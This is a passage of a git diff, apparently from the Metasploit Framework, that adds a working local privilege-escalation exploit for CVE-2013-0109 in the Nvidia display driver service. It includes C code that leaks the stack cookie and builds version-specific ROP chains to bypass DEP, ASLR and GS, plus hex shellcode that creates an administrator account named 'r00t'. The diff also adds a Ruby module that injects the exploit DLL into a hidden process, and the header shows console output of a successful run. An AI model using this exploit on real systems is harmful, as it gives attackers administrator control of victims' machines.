successfully. + + +C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1 + ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) ** + [@peterwintrsmith] + - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 - + + Action 1 of 9: - CONNECT + + Action 2 of 9: - CLIENT => SERVER + Written 16416 (0x4020) characters to pipe + + Action 3 of 9: - SERVER => CLIENT + Read 16504 (0x4078) characters from pipe + + Action 4 of 9: Building exploit ... + => Stack cookie 0xe2e2893340d4: + => nvvsvc.exe base 0x13fb90000: + + Action 5 of 9: - CLIENT => SERVER + Written 16416 (0x4020) characters to pipe + + Action 6 of 9: - SERVER => CLIENT + Read 16384 (0x4000) characters from pipe + + Action 7 of 9: - CLIENT => SERVER + Written 16416 (0x4020) characters to pipe + + Action 8 of 9: - SERVER => CLIENT + Read 16896 (0x4200) characters from pipe + + Action 9 of 9: - DISCONNECT + +C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators +Alias name administrators +Comment Administrators have complete and unrestricted access to the computer/domain + +Members + +------------------------------------------------------------------------------- +Administrator +Peter +r00t +The command completed successfully. + + +C:\Users\Peter\Desktop\NVDelMe1> + +*/ + +#include +#include +#define SCSIZE 2048 +char code[SCSIZE] = "PAYLOAD:"; + +enum EProtocolAction +{ + ProtocolAction_Connect = 0, + ProtocolAction_Receive, + ProtocolAction_Send, + ProtocolAction_Disconnect, + ProtocolAction_ReadCookie, +}; + +typedef struct { + EProtocolAction Action; + PBYTE Buf; + DWORD Length; +} ProtocolMessage; + +const int GENERIC_BUF_LENGTH = 0x10000; + +#define WriteByte(val) {buf[offs] = val; offs += 1;} +#define WriteWord(val) {*(WORD *)(buf + offs) = val; offs += 2;} +#define WriteDword(val) {*(DWORD *)(buf + offs) = val; offs += 4;} +#define WriteBytes(val, len) {memcpy(buf + offs, val, len); offs += len;} +#define BufRemaining() (sizeof(buf) - offs) + +DWORD WritePipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer) +{ + DWORD dwWritten = 0; + + if(WriteFile(hPipe, pBuffer, cbBuffer, &dwWritten, NULL)) + return dwWritten; + + return 0; +} + +DWORD ReadPipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer, BOOL bTimeout = FALSE) +{ + DWORD dwRead = 0, dwAvailable = 0; + + if(bTimeout) + { + for(DWORD i=0; i < 30; i++) + { + if(!PeekNamedPipe(hPipe, NULL, NULL, NULL, &dwAvailable, NULL)) + goto Cleanup; + + if(dwAvailable) + break; + + Sleep(100); + } + + if(!dwAvailable) + goto Cleanup; + } + + if(!ReadFile(hPipe, pBuffer, cbBuffer, &dwRead, NULL)) + goto Cleanup; + +Cleanup: + return dwRead; +} + +HANDLE EstablishPipeConnection(char *pszPipe) +{ + HANDLE hPipe = CreateFileA( + pszPipe, + GENERIC_READ | GENERIC_WRITE, + 0, + NULL, + OPEN_EXISTING, + 0, + NULL + ); + + if(hPipe == INVALID_HANDLE_VALUE) + { + return NULL; + } + + return hPipe; +} + +BYTE *BuildMalicious_LeakStack() +{ + static BYTE buf[0x4020] = {0}; + UINT offs = 0; + + WriteWord(0x52); + + for(UINT i=0; i<0x2000; i++) + WriteWord(0x41); + + WriteWord(0); + + WriteDword(0); + WriteDword(0x4078); + + WriteDword(0x41414141); + WriteDword(0x41414141); + WriteDword(0x41414141); + WriteDword(0x41414141); + WriteDword(0x41414141); + + return buf; +} + +BYTE *BuildMalicious_FillBuf() +{ + static BYTE buf[0x4020] = {0}; + UINT offs = 0; + + WriteWord(0x52); + WriteWord(0); // string + + WriteDword(0); + WriteDword(0x4000); + + while(BufRemaining()) + WriteDword(0x43434343); + + return buf; +} + +BYTE *BuildMalicious_OverwriteStack() +{ + static BYTE buf[0x4020] = {0}; + UINT offs = 0; + + WriteWord(0x52); + WriteWord(0); // string + + WriteDword(0); + WriteDword(0x4340); // enough to copy shellcode too + + while(BufRemaining()) + WriteDword(0x42424242); + + return buf; +} + +extern "C" int run() +{ + DWORD dwReturnCode = 1, dwBytesInOut = 0; + HANDLE hPipe = NULL; + + static BYTE rgReadBuf[GENERIC_BUF_LENGTH] = {0}; + + memset(rgReadBuf, 0, sizeof(rgReadBuf)); + + ProtocolMessage rgConvoMsg[] = { + {ProtocolAction_Connect, NULL, 0}, + {ProtocolAction_Send, BuildMalicious_LeakStack(), 0x4020}, + {ProtocolAction_Receive, {0}, 0x4200}, + {ProtocolAction_ReadCookie, {0}, 0}, + {ProtocolAction_Send, BuildMalicious_FillBuf(), 0x4020}, + {ProtocolAction_Receive, {0}, 0x4000}, + {ProtocolAction_Send, BuildMalicious_OverwriteStack(), 0x4020}, + {ProtocolAction_Receive, {0}, 0x4200}, + {ProtocolAction_Disconnect, NULL, 0}, + }; + + DWORD dwNumberOfMessages = sizeof(rgConvoMsg) / sizeof(ProtocolMessage), i = 0; + BOOL bTryAgain = FALSE; + char szPipe[256] = {0}; + + // We could renable remote hosts to target other devices on network?! + //if(stricmp(argv[1], "local") == 0) + strcpy(szPipe, "\\\\.\\pipe\\nvsr"); + //else + // sprintf(szPipe, "\\\\%s\\pipe\\nvsr", argv[1]); + + while(i < dwNumberOfMessages) + { + printf("\n\tAction %u of %u: ", i + 1, dwNumberOfMessages); + + switch(rgConvoMsg[i].Action) + { + case ProtocolAction_Connect: + printf(" - CONNECT\n"); + + hPipe = EstablishPipeConnection(szPipe); + if(!hPipe) + { + printf("!! Unable to create named pipe (GetLastError() = %u [0x%x])\n", GetLastError(), GetLastError()); + goto Cleanup; + } + + break; + case ProtocolAction_Disconnect: + printf(" - DISCONNECT\n"); + + CloseHandle(hPipe); + hPipe = NULL; + + break; + case ProtocolAction_Send: + printf(" - CLIENT => SERVER\n"); + + if(!(dwBytesInOut = WritePipe(hPipe, rgConvoMsg[i].Buf, rgConvoMsg[i].Length))) + { + printf("!! Error writing to pipe\n"); + goto Cleanup; + } + + printf("\t\tWritten %u (0x%x) characters to pipe\n", dwBytesInOut, dwBytesInOut); + + break; + case ProtocolAction_Receive: + printf("\t - SERVER => CLIENT\n"); + + if(!(dwBytesInOut = ReadPipe(hPipe, rgReadBuf, rgConvoMsg[i].Length, FALSE))) + { + printf("!! Error reading from pipe (at least, no data on pipe)\n"); + goto Cleanup; + } + + printf("\t\tRead %u (0x%x) characters from pipe\n", dwBytesInOut, dwBytesInOut); + + break; + case ProtocolAction_ReadCookie: + + // x64 Metasploit cmd/exec: + // "net user r00t r00t00r! /add & net localgroup administrators /add" + // exitfunc=thread + /*char code[] = "" + "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" + "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" + "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" + "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" + "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" + "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" + "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" + "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" + "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" + "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" + "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" + "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" + "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" + "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" + "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" + "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" + "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" + "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64" + "\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x72\x30" + "\x30\x74\x20\x72\x30\x30\x74\x30\x30\x72\x21\x20\x2f\x61\x64" + "\x64\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72" + "\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74" + "\x6f\x72\x73\x20\x72\x30\x30\x74\x20\x2f\x61\x64\x64\x00";*/ + printf("Building exploit ...\n"); + unsigned __int64 uiStackCookie = *(unsigned __int64 *)(rgReadBuf + 0x4034); + printf("\t\t => Stack cookie 0&x:\n", (DWORD)(uiStackCookie >> 32), (DWORD)uiStackCookie); + + memcpy(rgConvoMsg[4].Buf + 0xc + 0xc, &uiStackCookie, 8); + + unsigned __int64 uiRetnAddress = *(unsigned __int64 *)(rgReadBuf + 0x4034 + 8), uiBase = 0, *pRopChain = NULL; + + // Perform some limited fingerprinting (my default install version, vs latest at time of testing) + switch(uiRetnAddress & 0xfff) + { + case 0x640: // nvvsvc.exe - 03 Nov 2011 - 1,640,768 bytes - md5=3947ad5d03e6abcce037801162fdb90d + { + uiBase = uiRetnAddress - 0x4640; + printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase); + + pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8)); + + // Param 1: lpAddress [r11 (near rsp) into rcx] + pRopChain[0] = uiBase + 0x19e6e; // nvvsvc.exe+0x19e6e: mov rax, r11; retn + pRopChain[1] = uiBase + 0xa6d64; // nvvsvc.exe+0xa6d64: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn + pRopChain[2] = 0; // Padding + pRopChain[3] = 0; // ... + pRopChain[4] = 0; // ... + pRopChain[5] = 0; // ... + pRopChain[6] = 0; // ... + pRopChain[7] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn + pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)] + pRopChain[9] = uiBase + 0xa8653; // nvvsvc.exe+0xa8653: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn + pRopChain[10] = 0; // Padding + pRopChain[11] = 0; // ... + pRopChain[12] = 0; // ... + pRopChain[13] = 0; // ... + pRopChain[14] = 0; // ... + pRopChain[15] = uiBase + 0x7772; // nvvsvc.exe+0x7772: pop r8; retn + pRopChain[16] = 0x40; // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)] + pRopChain[17] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn + // Param 4: lpflOldProtect [r9 - already points at writable location] + pRopChain[18] = uiBase + 0xfe5e0; // nvvsvc.exe+0xfe5e0: IAT entry &VirtualProtect + pRopChain[19] = uiBase + 0x5d60; // nvvsvc.exe+0x5d60: mov rax, [rax]; retn + pRopChain[20] = uiBase + 0x91a85; // nvvsvc.exe+0x91a85: jmp rax + pRopChain[21] = uiBase + 0xe6251; // nvvsvc.exe+0xe6251: jmp rsp (return address from VirtualProtect) + + memcpy(pRopChain + 22, code, sizeof(code)); + } + break; + case 0x9f1: // nvvsvc.exe - 30 Aug 2012 - 891,240 bytes - md5=43f91595049de14c4b61d1e76436164f + { + uiBase = uiRetnAddress - 0x39f1; + printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase); + + pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8)); + + // Param 1: lpAddress [r11 (near rsp) into rcx] + pRopChain[0] = uiBase + 0x15d36; // nvvsvc.exe+0x15d36: mov rax, r11; retn + pRopChain[1] = uiBase + 0x5493c; // nvvsvc.exe+0x5493c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn + pRopChain[2] = 0; // Padding ... + pRopChain[3] = 0; // ... + pRopChain[4] = 0; // ... + pRopChain[5] = 0; // ... + pRopChain[6] = 0; // ... + pRopChain[7] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn + pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)] + pRopChain[9] = uiBase + 0x55dbf; // nvvsvc.exe+0x55dbf: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn + pRopChain[10] = 0; // Padding ... + pRopChain[11] = 0; // ... + pRopChain[12] = 0; // ... + pRopChain[13] = 0; // ... + pRopChain[14] = 0; // ... + // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)] + pRopChain[15] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn + pRopChain[16] = 0x40; // PAGE_EXECUTE_READWRITE + pRopChain[17] = uiBase + 0x8b92; // nvvsvc.exe+0x55dbf: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn + pRopChain[18] = 0; // Padding ... + pRopChain[19] = 0; // ... + pRopChain[20] = 0; // ... + pRopChain[21] = 0; // ... + pRopChain[22] = 0; // ... + // Param 4: lpflOldProtect [r9 - already points at writable location] + pRopChain[23] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn + pRopChain[24] = uiBase + 0x91308; // IAT entry &VirtualProtect - 0x130 + pRopChain[25] = uiBase + 0x82989; // nvvsvc.exe+0x82989: mov rax, [rax+130h]; add rsp, 28h; retn + pRopChain[26] = 0; // Padding ... + pRopChain[27] = 0; // ... + pRopChain[28] = 0; // ... + pRopChain[29] = 0; // ... + pRopChain[30] = 0; // ... + pRopChain[31] = uiBase + 0x44ba6; // nvvsvc.exe+0x44ba6: jmp eax + pRopChain[32] = uiBase + 0x77c59; // nvvsvc.exe+0x77c59: jmp esp + + memcpy(pRopChain + 33, code, sizeof(code)); + } + break; + case 0xa11: // nvvsvc.exe - 01 Dec 2012 - 890,216 md5=3341d2c91989bc87c3c0baa97c27253b + { + uiBase = uiRetnAddress - 0x3a11; + printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase); + + pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8)); + + // Param 1: lpAddress [r11 (near rsp) into rcx] + pRopChain[0] = uiBase + 0x15b52; // nvvsvc.exe+0x15b52: mov rax, r11; retn + pRopChain[1] = uiBase + 0x54d4c; // nvvsvc.exe+0x54d4c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn + pRopChain[2] = 0; // Padding ... + pRopChain[3] = 0; // ... + pRopChain[4] = 0; // ... + pRopChain[5] = 0; // ... + pRopChain[6] = 0; // ... + pRopChain[7] = uiBase + 0x8d7aa; // nvvsvc.exe+0x8d7aa: pop rdx; add al, 0; pop rbp; retn + pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)] + pRopChain[9] = 0; // Padding ... + // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)] + pRopChain[10] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn + pRopChain[11] = 0x40; // PAGE_EXECUTE_READWRITE + pRopChain[12] = uiBase + 0x8d26; // nvvsvc.exe+0x8d26: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn + pRopChain[13] = 0; // Padding ... + pRopChain[14] = 0; // ... + pRopChain[15] = 0; // ... + pRopChain[16] = 0; // ... + pRopChain[17] = 0; // ... + // Param 4: lpflOldProtect [r9 - already points at writable location] + pRopChain[18] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn + pRopChain[19] = uiBase + 0x91310; // IAT entry &VirtualProtect - 0x128 + pRopChain[20] = uiBase + 0x82851; // nvvsvc.exe+0x82851: mov rax, [rax+128h]; add rsp, 28h; retn + pRopChain[21] = 0; // Padding ... + pRopChain[22] = 0; // ... + pRopChain[23] = 0; // ... + pRopChain[24] = 0; // ... + pRopChain[25] = 0; // ... + pRopChain[26] = uiBase + 0x44fb6; // nvvsvc.exe+0x44fb6: jmp rax + pRopChain[27] = uiBase + 0x8a0dc; // nvvsvc.exe+0x8a0dc: push rsp; retn + + memcpy(pRopChain + 28, code, sizeof(code)); + } + break; + } + + break; + } + + i++; + } + + dwReturnCode = 0; +Cleanup: + if(hPipe) + CloseHandle(hPipe); + + return dwReturnCode; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2013-0109/rdi.sln b/external/source/exploits/cve-2013-0109/rdi.sln new file mode 100644 index 0000000000..b490cb423d --- /dev/null +++ b/external/source/exploits/cve-2013-0109/rdi.sln @@ -0,0 +1,32 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual C++ Express 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|ARM = Debug|ARM + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|ARM = Release|ARM + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Release|ARM + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.Build.0 = Release|ARM + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|ARM + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.Build.0 = Release|ARM + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/modules/exploits/windows/local/nvidia_nvvsvc.rb b/modules/exploits/windows/local/nvidia_nvvsvc.rb new file mode 100644 index 0000000000..e3a68d108e --- /dev/null +++ b/modules/exploits/windows/local/nvidia_nvvsvc.rb @@ -0,0 +1,115 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/windows/priv' +require 'msf/core/post/windows/process' + +class Metasploit3 < Msf::Exploit::Local + Rank = AverageRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::Services + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Nvidia Display Driver Service Local Privilege Escalation', + 'Description' => %q{ + TODO + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Peter Wintersmith', # Original exploit + 'Ben Campbell ', # Metasploit integration + ], + 'Arch' => ARCH_X86_64, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'References' => + [ + [ 'CVE', '2013-0109' ], + [ 'OSVDB', '88745' ], + [ 'URL', 'http://nvidia.custhelp.com/app/answers/detail/a_id/3288' ], + ], + 'DisclosureDate' => 'Dec 25 2012', + 'DefaultTarget' => 0 + })) + + end + + def check + os = sysinfo["OS"] + if os =~ /windows/i + return Exploit::CheckCode::Vulnerable + end + + # TODO: Check for service + end + + def create_proc() + windir = expand_path("%windir%") + cmd = "#{windir}\\system32\\notepad.exe" + return session.sys.process.execute(cmd, nil, {'Hidden' => true }).pid + end + + def exploit + dll = '' + offset = nil + file = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-0109", "exploit.dll") + File.open( file,"rb" ) { |f| dll += f.read(f.stat.size) } + + pay = payload.encoded + + bo = dll.index('PAYLOAD:') + raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo + dll[bo, pay.length] = [pay].pack("a*") + + pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) ) + + pe.exports.entries.each do |entry| + if( entry.name =~ /^\S*ReflectiveLoader\S*/ ) + offset = pe.rva_to_file_offset( entry.rva ) + break + end + end + + print_error("No offset found") unless offset + + new_pid = create_proc + + if not new_pid + fail_with(Exploit::Failure::Unknown, "Failed to create a new process") + end + + vprint_status("Injecting payload into memory") + host_process = session.sys.process.open(new_pid.to_i, PROCESS_ALL_ACCESS) + mem = host_process.memory.allocate(dll.length + (dll.length % 1024)) + host_process.memory.protect(mem) + host_process.memory.write(mem, dll) + host_process.thread.create(mem+offset) + end + + +end